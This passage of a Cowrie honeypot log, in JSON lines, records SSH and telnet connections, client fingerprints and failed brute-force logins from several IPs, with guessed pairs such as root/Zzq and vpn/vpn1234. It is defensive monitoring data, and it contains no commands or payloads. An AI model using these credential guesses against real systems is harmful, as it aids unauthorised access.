sh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:38.578421Z","src_ip":"152.32.163.183","session":"f1f8f6a7fe99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser001","message":"login attempt [ftpuser/ftpuser001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:39.589551Z","src_ip":"152.32.163.183","session":"f1f8f6a7fe99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:40.836731Z","src_ip":"152.32.163.183","session":"f1f8f6a7fe99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zzq","message":"login attempt [root/Zzq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:42.371907Z","src_ip":"128.199.225.7","session":"846c2a95b343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.82764410972595,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:42.375332Z","src_ip":"128.199.225.7","session":"846c2a95b343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43176,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2f950bfa580","protocol":"ssh","message":"New connection: 159.203.92.129:43176 (159.203.135.109:22) [session: d2f950bfa580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:06.356701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:06.474335Z","src_ip":"159.203.92.129","session":"d2f950bfa580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:06.480694Z","src_ip":"159.203.92.129","session":"d2f950bfa580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"af","password":"af123","message":"login attempt [af/af123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:06.802824Z","src_ip":"159.203.92.129","session":"d2f950bfa580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:07.816056Z","src_ip":"159.203.92.129","session":"d2f950bfa580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.34.185.179","src_port":5643,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca8e545c1c9d","protocol":"telnet","message":"New connection: 37.34.185.179:5643 (159.203.135.109:23) [session: ca8e545c1c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:30.277753Z"}
{"eventid":"cowrie.session.closed","duration":13.115492105484009,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:43.393108Z","src_ip":"37.34.185.179","session":"ca8e545c1c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60842,"dst_ip":"159.203.135.109","dst_port":22,"session":"785c7424a6cf","protocol":"ssh","message":"New connection: 159.203.92.129:60842 (159.203.135.109:22) [session: 785c7424a6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:49.929872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:49.934936Z","src_ip":"159.203.92.129","session":"785c7424a6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:49.939593Z","src_ip":"159.203.92.129","session":"785c7424a6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afa","password":"123456","message":"login attempt [afa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:49.962371Z","src_ip":"159.203.92.129","session":"785c7424a6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:39:50.968696Z","src_ip":"159.203.92.129","session":"785c7424a6cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":20644,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d7509bee896","protocol":"ssh","message":"New connection: 152.32.163.183:20644 (10.17.0.5:22) [session: 4d7509bee896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:15.778378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:15.786432Z","src_ip":"152.32.163.183","session":"4d7509bee896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:22.526792Z","src_ip":"152.32.163.183","session":"4d7509bee896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:22.534786Z","src_ip":"152.32.163.183","session":"4d7509bee896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52092,"dst_ip":"159.203.135.109","dst_port":22,"session":"418e7f09461c","protocol":"ssh","message":"New connection: 159.203.92.129:52092 (159.203.135.109:22) [session: 418e7f09461c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:32.991098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:32.996450Z","src_ip":"159.203.92.129","session":"418e7f09461c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:33.002959Z","src_ip":"159.203.92.129","session":"418e7f09461c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afa","password":"afa","message":"login attempt [afa/afa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:33.020030Z","src_ip":"159.203.92.129","session":"418e7f09461c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:34.028440Z","src_ip":"159.203.92.129","session":"418e7f09461c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.97.211","src_port":33766,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c2740a582b","protocol":"ssh","message":"New connection: 154.219.97.211:33766 (159.203.135.109:22) [session: e0c2740a582b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:51.342361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:51.347132Z","src_ip":"154.219.97.211","session":"e0c2740a582b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:51.557414Z","src_ip":"154.219.97.211","session":"e0c2740a582b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn1234","message":"login attempt [vpn/vpn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:52.425552Z","src_ip":"154.219.97.211","session":"e0c2740a582b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:40:53.646897Z","src_ip":"154.219.97.211","session":"e0c2740a582b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39762,"dst_ip":"159.203.135.109","dst_port":22,"session":"afb2e229475b","protocol":"ssh","message":"New connection: 159.203.92.129:39762 (159.203.135.109:22) [session: afb2e229475b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:15.528381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:15.533824Z","src_ip":"159.203.92.129","session":"afb2e229475b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:15.539516Z","src_ip":"159.203.92.129","session":"afb2e229475b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afc","password":"123","message":"login attempt [afc/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:15.556523Z","src_ip":"159.203.92.129","session":"afb2e229475b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:16.563276Z","src_ip":"159.203.92.129","session":"afb2e229475b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":38160,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc710f781c7","protocol":"ssh","message":"New connection: 152.32.163.183:38160 (10.17.0.5:22) [session: acc710f781c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:48.270085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:48.274789Z","src_ip":"152.32.163.183","session":"acc710f781c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51430,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca8702d85ba1","protocol":"ssh","message":"New connection: 159.203.92.129:51430 (159.203.135.109:22) [session: ca8702d85ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:57.880943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:57.886255Z","src_ip":"159.203.92.129","session":"ca8702d85ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 